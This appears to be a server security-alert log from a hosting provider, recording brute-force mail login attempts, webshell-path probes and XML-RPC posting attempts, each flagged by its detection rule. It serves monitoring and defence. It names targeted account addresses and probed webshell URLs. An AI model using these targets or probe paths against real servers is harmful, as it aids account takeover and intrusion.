2026-01-31 23:16:32 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:38291: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.232.126
country_id: 1269750
description:
2026-01-31 23:16:38 dovecot_login authenticator failed for H=(nsg-corporate-126.232.187.122.airtel.in) [122.187.232.126]:39716: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.127.217
country_id: 1512440
description:
2026-01-31 23:16:06 dovecot_login authenticator failed for H=([213.230.127.217]) [213.230.127.217]:38856: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.47.138.157
country_id: 6252001
description:
2026-01-31 23:16:16 dovecot_login authenticator failed for H=(136-47-138-157.googlefiber.net) [136.47.138.157]:47290: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:16:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:16:22 dovecot_login authenticator failed for H=(ZA56f6yeqv) [158.94.208.215]:52303: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:16:24 dovecot_login authenticator failed for H=(uWgfeT2) [178.16.54.138]:63828: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:17:10 dovecot_login authenticator failed for H=(B2JlUiN) [158.94.208.215]:63820: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.205.18.22
country_id: 1835841
description:
2026-01-31 23:17:39 dovecot_login authenticator failed for H=([175.205.18.22]) [175.205.18.22]:41718: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-01-31 23:17:54 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:33556: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:17:57 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:52930: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:17:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.23.72.121
country_id: 6252001
description:
2026-01-31 23:18:01 dovecot_login authenticator failed for H=([209.23.72.121]) [209.23.72.121]:56148: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-01-31 23:17:19 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:47441: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:17:38 dovecot_login authenticator failed for H=(0om04ZJL7) [178.16.54.138]:53932: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:18:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-31 23:18:48 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:43378: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-31 23:18:06 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:21638: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 23:18:43 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:58976: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:18:13 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49580: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:18:15 dovecot_login authenticator failed for H=(LBkAnQq) [178.16.54.138]:50776: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.160.166.161
country_id: 1835841
description:
2026-01-31 23:18:23 dovecot_login authenticator failed for H=([121.160.166.161]) [121.160.166.161]:57188: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:18:22 dovecot_login authenticator failed for H=(cZlX7oU) [158.94.208.215]:65105: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.208.177.56
country_id: 6252001
description:
2026-01-31 23:18:29 dovecot_login authenticator failed for H=([74.208.177.56]) [74.208.177.56]:42458: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-31 23:18:31 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:49102: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/images/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-01-31 23:18:46 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:21554: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.70
country_id: 1814991
description:
2026-01-31 23:19:20 dovecot_login authenticator failed for H=([111.61.87.70]) [111.61.87.70]:15106: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:19:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-31 23:19:17 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:60314: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:19:19 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54721: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-01-31 23:19:06 dovecot_login authenticator failed for H=(23-30-11-253-static.hfc.comcastbusiness.net) [23.30.11.253]:49377: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.246.40.113
country_id: 1269750
domain: kainanholding.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:34272.kainanholding.com||ServerName:kainanholding.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f230dedce5c2a9f6664398cde5e468002c7cffbd||Title:0x67a5479a||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 23:19:48 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:48234: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:19:10 dovecot_login authenticator failed for H=(WbJX1qKm) [158.94.208.215]:63155: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.42.190.241
country_id: 6252001
description:
2026-01-31 23:19:18 dovecot_login authenticator failed for H=host241.sub-63-42-190.myvzw.com [63.42.190.241]:51418: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:19:29 dovecot_login authenticator failed for H=(W1O9h5kEuo) [178.16.54.138]:64663: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 34.140.135.10
country_id: 2802361
description:
2026-01-31 23:20:17 188859 [Warning] Aborted connection 188859 to db: 'unconnected' user: 'unauthenticated' host: '34.140.135.10' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:20:22 dovecot_login authenticator failed for H=(KmfPHTe) [158.94.208.215]:58722: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:20:36 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60467: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.174
country_id: 1733045
description:
2026-01-31 23:20:48 dovecot_login authenticator failed for H=([49.124.155.174]) [49.124.155.174]:55742: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:20:06 dovecot_login authenticator failed for H=(zfQHUI) [178.16.54.138]:65524: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.245.202
country_id: 1814991
description:
2026-01-31 23:20:25 dovecot_login authenticator failed for H=([218.21.245.202]) [218.21.245.202]:47760: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.223.176.171
country_id: 6252001
description:
2026-01-31 23:21:12 dovecot_login authenticator failed for H=([50.223.176.171]) [50.223.176.171]:48970: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.233
country_id: 2750405
description:
2026-01-31 23:21:58 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [2.58.56.233]:9561: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 204.144.187.196
country_id: 6252001
description:
2026-01-31 23:21:14 dovecot_plain authenticator failed for H=(monessemon) [204.144.187.196]:37912: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-31 23:21:27 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:51062: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-31 23:21:40 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:34013: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.11.4.120
country_id: 1269750
description:
2026-01-31 23:21:53 dovecot_plain authenticator failed for H=(T31NGXPI6836) [47.11.4.120]:54089: 535 Incorrect authentication data (set_id=tigerchong@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:21:10 dovecot_login authenticator failed for H=(JYTBdCbOm) [158.94.208.215]:53304: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.153.186
country_id: 1880251
domain: www.appointment.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/mockery/mockery/travis/extra.ini||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:21:17 dovecot_login authenticator failed for H=(ZYD7nUAWU) [178.16.54.138]:54991: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:21:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58644: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.107.136.187
country_id: 690791
description:
2026-01-31 23:22:07 dovecot_plain authenticator failed for H=(sught) [185.107.136.187]:60966: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.204.232.244
country_id: 1269750
description:
2026-01-31 23:22:10 dovecot_login authenticator failed for H=(broadband.actcorp.in) [49.204.232.244]:49110: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.233
country_id: 2750405
description:
2026-01-31 23:22:15 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [2.58.56.233]:11092: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:22:29 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64440: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:22:22 dovecot_login authenticator failed for H=(YuJ5mv7) [158.94.208.215]:54473: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:22:32 dovecot_login authenticator failed for H=(5ETiHj) [178.16.54.138]:59488: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.161.150
country_id: 1269750
description:
2026-01-31 23:23:20 dovecot_login authenticator failed for H=(nsg-corporate-25.230.186.122.airtel.in) [125.19.161.150]:37170: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.85.242
country_id: 1814991
description:
2026-01-31 23:23:02 dovecot_login authenticator failed for H=([116.114.85.242]) [116.114.85.242]:41766: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:23:08 dovecot_login authenticator failed for H=(Vtd97XiNbh) [178.16.54.138]:56299: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.9.242
country_id: 2017370
description:
2026-01-31 23:23:31 dovecot_login authenticator failed for H=([31.173.9.242]) [31.173.9.242]:53116: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:23:56 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:23:10 dovecot_login authenticator failed for H=(Dg7dyi4JWK) [158.94.208.215]:58927: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.216.165.187
country_id: 2017370
description:
2026-01-31 23:23:35 dovecot_login authenticator failed for H=([178.216.165.187]) [178.216.165.187]:32912: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-31 23:23:58 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:56220: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-31 23:24:07 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:51805: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 23:24:24 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:47212: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-31 23:24:44 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:33136: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:24:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:24:22 dovecot_login authenticator failed for H=(tKzeUhm) [158.94.208.215]:63433: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:24:20 dovecot_login authenticator failed for H=(l0UnJ9) [178.16.54.138]:57068: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:25:34 dovecot_login authenticator failed for H=(mU0Y37tx) [178.16.54.138]:49363: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-01-31 23:25:46 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se [155.4.31.215]:35122: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:25:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:25:10 dovecot_login authenticator failed for H=(GjpioITw) [158.94.208.215]:54245: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/img/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.42.196
country_id: 1668284
description:
2026-01-31 23:25:32 dovecot_login authenticator failed for H=221-120-42-196.emome-ip.hinet.net [221.120.42.196]:44569: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.100.39.180
country_id: 2017370
description:
2026-01-31 23:25:04 dovecot_login authenticator failed for H=([92.100.39.180]) [92.100.39.180]:46680: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.22.237.108
country_id: 1814991
description:
2026-01-31 23:25:24 dovecot_login authenticator failed for H=([218.22.237.108]) [218.22.237.108]:37412: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:26:22 dovecot_login authenticator failed for H=(vFbdZ7) [158.94.208.215]:58679: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:26:25 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:52149: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.63.42.76
country_id: 1814991
description:
2026-01-31 23:26:08 dovecot_login authenticator failed for H=([111.63.42.76]) [111.63.42.76]:38460: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:26:11 dovecot_login authenticator failed for H=(8ibnaLom) [178.16.54.138]:57377: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:26:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:27:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:27:23 dovecot_login authenticator failed for H=(m4qtknY0) [178.16.54.138]:60900: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:27:46 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62040: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.33.145
country_id: 99237
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/cold/7/277/723124 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.70.94.155
country_id: 1814991
description:
2026-01-31 23:27:41 dovecot_login authenticator failed for H=([117.70.94.155]) [117.70.94.155]:50290: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:27:10 dovecot_login authenticator failed for H=(IlOcLp1) [158.94.208.215]:54898: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:28:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56213: 535 Incorrect authentication data (set_id=testing@wcc.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:28:15 dovecot_login authenticator failed for H=(ddwvJnoep) [178.16.54.138]:63635: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:28:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 23:28:50 H=([64.89.160.15]) [64.89.160.15]:52851 F=<essenas@outlook.com> rejected RCPT <miya@hmz.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.225.207.166
country_id: 1814991
description:
2026-01-31 23:28:03 dovecot_login authenticator failed for H=([111.225.207.166]) [111.225.207.166]:34193: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 175.158.221.4
country_id: 1694008
domain: kendek.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:84483.kendek.com||ServerName:kendek.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f91041ed696f11f1523431a69f3fa33ef93cb7e1||Title:0x6cca91f6||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.219.196.17
country_id: 690791
description:
2026-01-31 23:29:00 dovecot_login authenticator failed for H=(91-219-196-17.planeta.dn.ua) [91.219.196.17]:59074: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:28:22 dovecot_login authenticator failed for H=(AoKyUsKre) [158.94.208.215]:64449: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:29:10 dovecot_login authenticator failed for H=(Vq9hOnMW) [158.94.208.215]:50111: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-31 23:29:57 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:33944: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:29:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51494: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:29:30 dovecot_login authenticator failed for H=(Z74t8D3d) [178.16.54.138]:53059: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.7.200.152
country_id: 1861060
description:
2026-01-31 23:29:47 dovecot_login authenticator failed for H=v157-7-200-152.cwit.static.cnode.io [157.7.200.152]:44272: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:29:56 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54713: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.237.119.118
country_id: 6252001
description:
2026-01-31 23:29:31 dovecot_login authenticator failed for H=118-119-237-24.gci.net [24.237.119.118]:36316: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:29:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52976: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.205.196.42
country_id: 1269750
domain: kdiballoon.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:60506.kdiballoon.com||ServerName:kdiballoon.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:45bd0c291eb6d72ccfdfa07936a941cefae0c16e||Title:0x7568bfed||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
